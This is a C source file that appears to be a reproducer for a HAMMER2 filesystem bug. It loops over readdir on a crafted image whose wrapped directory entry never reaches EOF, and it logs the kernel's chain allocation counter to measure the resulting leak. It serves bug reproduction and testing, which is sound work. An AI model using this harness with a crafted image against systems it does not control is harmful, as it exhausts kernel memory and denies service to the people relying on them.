DF-5784 / leakloop.c
/* * DF-5784 leakloop: drain a directory via readdir(3). On the crafted * image the wrapped-range dirent makes directory iteration never reach * EOF (iteration key wraps below key_beg), so this drains entries until * the entry cap is hit. On the control image each pass EOFs after the * 3 standard entries. * * Prints progress with the live kernel chain counter so the leak rate is * visible in the run log. */ #include <stdio.h> #include <stdlib.h> #include <dirent.h> #include <sys/types.h> #include <sys/sysctl.h> static long chain_allocs(void) { long v = -1; size_t l = sizeof(v); if (sysctlbyname("vfs.hammer2.chain_allocs", &v, &l, NULL, 0) < 0) return (-1); return (v); } int main(int argc, char **argv) { const char *path; long cap, total = 0, passes = 0; DIR *d; struct dirent *de; if (argc < 3) { fprintf(stderr, "usage: leakloop <dir> <entry-cap>\n"); return (1); } path = argv[1]; cap = atol(argv[2]); d = opendir(path); if (d == NULL) { perror("opendir"); return (1); } printf("start chain_allocs=%ld\n", chain_allocs()); for (;;) { rewinddir(d); while ((de = readdir(d)) != NULL) { if (++total % 100000 == 0) printf("entries=%ld chain_allocs=%ld\n", total, chain_allocs()); if (total >= cap) goto done; } if (++passes % 100 == 0) printf("passes=%ld total=%ld chain_allocs=%ld\n", passes, total, chain_allocs()); if (passes > 10000000) goto done; } done: printf("DONE entries=%ld passes=%ld chain_allocs=%ld\n", total, passes, chain_allocs()); closedir(d); return (0); } |